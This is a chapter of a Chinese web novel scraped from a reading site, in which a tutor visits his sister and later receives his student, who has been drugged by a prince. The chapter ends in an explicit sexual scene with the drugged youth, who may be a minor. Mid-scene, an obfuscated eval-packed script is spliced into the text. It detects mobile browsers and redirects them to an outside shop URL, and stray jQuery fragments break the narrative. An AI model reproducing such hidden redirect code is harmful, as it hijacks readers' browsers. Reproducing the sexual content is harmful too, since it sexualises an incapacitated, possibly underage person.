123读书网 > 玄幻小说 > 脏月光 > 14.第 15 章
    “采花大盗?”


    虞天念站在床榻边,看着昏过去的徐清,眼底浮现出古怪。他从没听说过京城里还有这等采花贼,更难以想象这种市井传说居然会和燕王有过纠缠。


    “莫不是……把我当成替身了?”虞天念对此并不在意,他利落地穿戴整齐,深吸一口气,立刻赶回虞府,接下来的才是重头戏


    虞府,另一处院子,不同于虞天怆院落的清幽寂静,也不同于虞天念院落的奢华张扬,这里处处透着一种鲜活的生活气息。一簇红梅从墙头探出,枝丫悠悠地颤动着,在雪夜中显得格外温暖,令慎看到这一幕,唇角不自觉露出微笑。


    “阿姐。”正在院中修剪梅枝的令盈闻声回头,眼角瞬间弯成了月牙,惊喜之色溢于言表:“慎儿!你怎么这会儿来了?”


    令盈一身红衣,站在红梅之下,丝毫没有被这满园春色压过风头,她下意识地提起裙摆想小跑过来,被令慎眼疾手快地出声制止:“雪天地滑,你莫跑!仔细摔了。”


    令盈掩唇轻笑,露出一口整齐的贝齿,生动明媚得不像个已为人妇的妇人,“慎儿真是愈发体贴了,你说你,这般细心周到,怎么就还娶不到媳妇呢?娘和我都快愁死了。”


    这处院子正是令盈与虞老三虞长煜的居所,只是如今虞长煜与长子虞天下皆在外任职,偌大的院子里,平日里只住着令盈和幼子虞天然。


    “天然还没回来吗?”令慎抬头望了望愈发阴沉的天色,雪花飘落,似乎有越下越大的趋势。


    “没呢,今日雪大,估计得晚些。”令盈转头看向令慎,忽然伸手探向他的额头,眉头微蹙,“怎么脸色这般差?莫不是在外头冻着了?”


    令盈不由分说地将他拉进屋内,命人添了炭火,自己被烤得鼻尖沁出细密的汗珠,却还数落着令慎:“我上次不都往家里送了几件冬衣?都是用上好的里子新做的,厚实又暖和,你怎么不穿上?”


    令慎温和地笑了笑,任由姐姐打理:“那料子太厚,想着等天再冷些再穿也不迟。”


    “如今已经很冷了!”令盈佯怒,语气里满是心疼,“今日回去便换上。你这孩子,自己身体不爱惜,家里也没个人能贴身照顾,我真是不放心。”


    令慎眼眸微深,低声道:“姐,我早就长大了,你莫要再操心这些琐事。”


    “还长大呢,你都不成家。”令盈叹了口气,“我和你姐夫常念叨这事,你若成了家,娘也能放心了。”


    令慎垂下眼帘,遮住眼底的情绪,“阿姐……很想让我成家吗?”


    “当然。”令盈想也不想地回答。


    “无论娶的是什么人,都可以吗?”


    令盈一愣,随即笑道:“也不是谁都行,哎呀,你可别因为我和娘催得紧,就随便找个人应付了事。”她眼底闪过一丝落寞,“还是要娶个你喜欢的姑娘才好。”


    令慎沉默片刻,忽然低声道:“若不是姑娘呢?”


    “不是姑娘?”令盈眨了眨眼,随即睁大了眼睛,仿佛想到了什么不可思议的事情,“男子?”


    “不是——”令慎连忙否认。


    可令盈却像是恍然大悟一般,“怪不得你这么多年都不娶妻,原来你……喜好男风啊!”


    “我没有!”令慎哭笑不得,“姐,你多想了!”


    “别怕,姐懂的。”令盈压低声音道,“军中汉子们也有这样的,不算太罕见,姐能理解,就是娘那边……确实有些难办。”


    “姐!”令慎无奈至极,“我真的没有,我就是……”


    他顿了顿,眼神黯淡下来,“我就是再过一周,就要回去复职了。恐怕……没办法再像现在这样,日日过来看你了。”


    令盈脸上的笑容一顿,放在案上的手不自觉握了握,“啊,这日子确实过得快,这是好事啊,咱们该开心才是。”


    她掩下眼底的不舍,随即像是想起了什么,语气柔和下来:“昨天天念还来问我呢,说想知道你喜欢什么,我说你喜欢梅花,他就向我讨了一支去,说知道你快离开了,想让你开心开心。”


    “这孩子……”令盈的脸上浮现出笑意,“他还真是把你放在心上,你也说他最近听课认真了不少,怕是也舍不得你走。”


    令慎的心脏莫名抽痛了一下,他不由自主问:“阿姐喜欢天念这孩子吗?”


    “自然是喜欢的。”令盈毫不犹豫地点头,“你别看他平日里顽劣了些,不爱读书,但这孩子重情重义,天怆病倒后,他几乎日日守在床边,各种事情亲力亲为,对天下、天然也是兄弟情深,虽然唯一的毛病就是不爱读书。”


    说到这,令盈宽慰地拍了拍他的手背,“这些日子苦了你了。”


    令慎的手指微微蜷缩,被令盈碰过的地方似乎有些烫。


    “没有,天念是个好孩子。”他轻声道,“前几天他还给家里送了暖手炉和炭饼,说是冬日里要照顾好娘的身体,他比我想的要细心得多。”


    “啊?这事我都不知道!”令盈惊讶地张大了嘴,“这孩子,真是太贴心了!慎儿,你可得对他上点心,日后若是有机会,也要多照顾他些。”


    “这是自然。”令慎点头。


    “行了,雪越下越大了,你快些回去吧,路上小心。”


    令慎站起身,张了张嘴,原本想说“自己还得再等一会儿,天念说要送我礼物”,最终还是没有说出口,他笑了笑:“好,阿姐也早些歇息,别太劳累了。”


    “我身体好着呢,去吧去吧,记得把冬衣换上!”


    走出令盈的院子,那一院红梅在风雪中愈发红得惊心,令慎驻足回望,眼神幽深莫测,垂下眸子,转身走向虞天念的住处。


    他在书房内等了许久,时间一点点流逝,依然不见对方人影,他甚至以为虞天念是在与自己开玩笑,但想到临走前令盈那句“多照顾他些”,他还是耐着性子,继续在昏黄的烛火下翻开了书卷。


    风雪声越来越大,忽然,门被猛地撞开,一股凛冽的寒风夹杂着雪沫席卷而入,紧接着,一个身影跌跌撞撞地扑了进来,随即被风雪狠狠关上了门。


    “天念!”令慎惊愕地起身,下意识地接住了扑过来的人。


    怀中的少年浑身滚烫,衣衫凌乱不堪,平日里那双总是盛满笑意和狡黠的眼睛此刻却水雾蒙蒙,透着令人心惊的脆弱,他一接触到令慎微凉的身体,便贪婪地贴了上来,不住地往他怀里钻,仿佛那是唯一的解药。


    “先生……”虞天念的声音沙哑破碎,带着浓重的鼻音和哭腔。他怀中掉落出一卷画轴,在地上滚了几圈,恰好展开,露出画上几枝生动逼真的红梅,只是此刻已沾染了雪水和尘土,狼狈不堪。


    “先生……我好难受……”虞天念痛苦地呜咽着,双手胡乱地抓着令慎的衣襟,滚烫的泪水滴落在令慎的手背上,令慎想推开些,查看少年究竟出了何事,可虞天念的力气大得惊人,死死地缠着他。


    “天念,你去了哪里?究竟发生了何事?”


    虞天念的神志已然不清,身体不受控制地扭动,像是要蹭掉浑身的燥热,急切地想要褪去自己的衣物,嘴里含混不清地哭诉着:“我……我想给先生画梅花……燕王府的梅花最好看,我便偷偷去画……可燕王他……我本以为他想与我结交,就喝了他给的酒……结果他却……”


    令慎只觉脑中“嗡”的一声,想起前几日府门前停着的那辆燕王府马车,一股怒意直冲顶门,却又被怀中人脆弱的哭声压了下去。


    ”天念、天念你先冷静,“令慎想控制住虞天念,可虞天念力气极大,两人推搡间已经不自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17268754|197844||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    觉退到墙边,那卷梅花凌乱地散在他们脚下,甚至震动了旁边的书架,掉了好几卷经书。


    虞天念已经开始不清醒地脱衣服,他只觉得好热,不住地抱着令慎,唇舌想要寻找着什么,令慎又一次推开了他,可虞天念却急得哭了出来,“先生……我也不想这样……先生教教天念……先生救救天念……天念好难受……”


    “我……”令慎的声音艰涩无比,喉结剧烈滚动,他的胳膊不自觉碰到了什么,是一个瓷瓶,那上面还插着那只梅花,目光落在那处红蕊上时,令慎仿佛被刺痛了似的急忙收回实现,心跳快得几乎要撞出胸膛,从未如此刻这般惶恐。


    虞天念抓住令慎的手,贴在自己滚烫的脸颊上,眼神湿漉漉地望着他,咬着嘴唇,委屈地哭着,一遍遍地问:“先生为什么不帮我……先生是讨厌天念吗?”


    “不……不对……不行……”令慎感觉自己的思绪一片混沌,可虞天念却不再给他机会,少年猛地踮起脚尖,胡乱地吻上了他的唇,两人的唇舌交缠着,彼此纠缠着呼吸,这个吻是那样深、那样重,好像要把两个人心里全部的爱都沉甸甸地放在上面。


    虞天念胡乱地蹭着令慎冰凉的唇角,将那只修长、常年执笔的手往自己衣襟里带,“先生……帮我……”他呜咽着,声音带着破碎的哭腔和无法言说的渴望,“天念好难受……”


    触及那一处柔软温热时,令慎整个人如遭雷击,瞬间睁大了眼睛,瞳孔剧烈收缩,“天念!”他失声低呼,声音里充满了不可置信与惊惶。


    虞天念对令慎的震惊浑然不觉,只觉得那里是唯一能让他感到舒缓的源泉,本能将那处柔软更紧密地贴向令慎的手指,甚至还无意识地扭动着腰身,试图磨平那股蚀骨的燥热。虞天念半眯着眼,视线朦胧地望着令慎,嘴角勾起一抹天真又脆弱的笑,气音软软地说道:“先生……别怕……天念是不会伤害先生的……”


    令慎怔怔地看着怀中的人,仿佛第一次认识这个平日里顽劣狡黠的学生,褪去了所有的伪装与锋芒,只剩下最原始的本能与最纯粹的信任。


    “好像……可以了……”虞天念迷迷糊糊地嘀咕了一声,令慎的手指僵硬得不知如何安放,他的学识与清高显得如此苍白无力,此时此刻反而像个懵懂无知的稚子,而身下的少年,却成了引领他的老师。


    虞天念再次凑了上来,双手捧起令慎的脸庞,眼神里盛满了毫无保留的信赖,他轻声呢喃,像是在恳求,又像是在献身,“先生……教教天念吧……”


    话音落下,他便一点点向下,他的眼睫剧烈地颤抖着,死死攥着令慎的手,好像这样就不会再害怕,随着深入,他疼得紧咬下唇,额头上布满了细密的汗珠。


    令慎看着他这副的模样,眼底的挣扎化作疼惜,他搂过虞天念,主动俯下身,吻去少年额头的冷汗,拍抚着他不断颤抖的后背,轻声道:“别怕,先生教你。”


    这其实是很温柔的一夜,令慎全程照顾着虞天念的反应,时而停下,时而轻缓,虞天念浑身的骨头都酥软了,紧紧地依偎在令慎怀里,嘴里含混地呢喃着“先生”,声音里带着安心和依赖,待一切平息,虞天念早已筋疲力尽,沉沉地睡了过去。


    令慎看着他安静的睡颜,轻轻为他掖好被角,他想抽身离开,却被熟睡中的少年下意识地拽住了手。“别走……别走……”虞天念的眼角滑下一滴泪,眉头微微蹙起,仿佛又陷入了什么不安的梦魇。


    令慎沉默了许久,终是叹了口气,反手握了握那只冰凉的手,在他身侧躺下,虞天念迷迷糊糊地往他怀里拱了拱,寻了个舒服的姿势,呼吸重新变得绵长而沉稳。


    令慎看着近在咫尺的少年,眼神幽深,他抬起手,想抚摸这个少年,最终只是轻轻落在被子上,将少年往自己怀里拢了拢。